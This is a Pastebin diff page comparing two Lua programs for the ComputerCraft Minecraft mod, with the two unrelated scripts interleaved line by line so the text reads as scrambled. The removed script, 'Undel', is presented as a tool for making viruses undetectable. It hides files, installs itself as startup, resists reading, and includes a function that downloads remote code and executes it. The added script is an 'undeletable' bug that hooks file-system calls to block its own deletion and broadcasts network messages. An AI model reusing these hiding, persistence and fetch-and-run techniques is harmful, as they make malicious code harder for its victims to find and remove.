View difference between Paste ID: czkDsCVf and 6ZmEhuJp

--- pastebin get 6ZmEhuJp startup
+--Undeletable Rednet 'Bug' program
--- std pb 6ZmEhuJp startup
+
---[[
+bugDelay = 2 --in seconds
-Let me explain Undel (yes, that's what I called it):
+bugMessage = "beep"
-Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one!
+bugSendID = nil
-Undel hides a table of filenames from all detection and execution. Even works with folders!
+
-The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk...
+name = fs.getName(shell.getRunningProgram())
-...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious!
+if not alreadyDone == true then
-It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram()
+	oldfsopen = fs.open
-or runURL().
+	oldisreadonly = fs.isReadOnly
 	oldfsdelete = fs.delete
-Syntax:
+	oldfsmove = fs.move
-"undel" Will hide anything in protectedList.
+	fs.open = function(path, mode)
-"undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden.
+		if fs.getName(path) ~= fs.getName(name) then
-"undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading.
+			return oldfsopen(path, mode)
---]]
+
 	end
-local tArg = {...}
+	fs.isReadOnly = function(path)
 		if fs.getName(path) ~= fs.getName(name) then
-local function runURL(url, ...)
+			return oldisreadonly(path)
-	local program = http.get(url)
+
-	if not program then return false end
+			return true
-	program = program.readAll()
+
-	local func = loadstring(program)
+
-	setfenv(func, getfenv())
+	fs.delete = function(path)
-	return func(...)
+		if fs.getName(path) ~= fs.getName(name) then
 			return oldfsdelete(path)
 		else
-local function runCode(...) --Run custom code here before startup!
+			return
-	return
+
 	end
 	fs.move = function(path, dest)
-local programName = shell.getRunningProgram()
+		if fs.getName(path) ~= fs.getName(name) then
-local protectedList = {
+			return oldfsmove(path, dest)
-	fs.combine("",shell.getRunningProgram()),
+
-}
+			return
-if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files
+
-	for a = 1, #tArg do
+
-		if tArg[a] == "*" then
+
-			protectedList = fs.list(shell.dir())
+alreadyDone = true
-			break
+
 sides = {"left","right","front","back","top","bottom"}
-			table.insert(protectedList,fs.combine("",tArg[a]))
+for a = 1, #sides do
 	if peripheral.getType(sides[a]) == "modem" then
 		rednet.open(sides[a])
 	end
 end
-local function rollOver(input, max) --More useful than it seems.
+
-	return math.floor(input % max)
+function bug()
 	while true do
 		if bugSendID then
-local function randomString(input)
+			rednet.send(bugSendID, bugMessage)
-	local output
+
-	if fs.isDir(input) then
+			rednet.broadcast(bugMessage)
-		output = ".."
+
-	else
+		sleep(bugDelay)
-		output = "."
+
 end
-	local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&"
+
-	for a = 1, #input do
+function runShell()
-		local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet)
+	shell.run("shell")
-		output = output..string.sub(alphabet, rand, rand)
+
 
-	return output
+term.clear()
 term.setCursorPos(1,1)
 
-local protectedListAlternatives = {}
+parallel.waitForAny(runShell, bug)
-local protectedListFiletypes = {}
+
-for a = 1, #protectedList do
+if term.isColor() then term.setTextColor(colors.yellow) end
-	table.insert(protectedListAlternatives, randomString(protectedList[a]))
+print("Goodbye")
-	table.insert(protectedListFiletypes, fs.isDir(protectedList[a]))
+sleep(1)
 os.shutdown()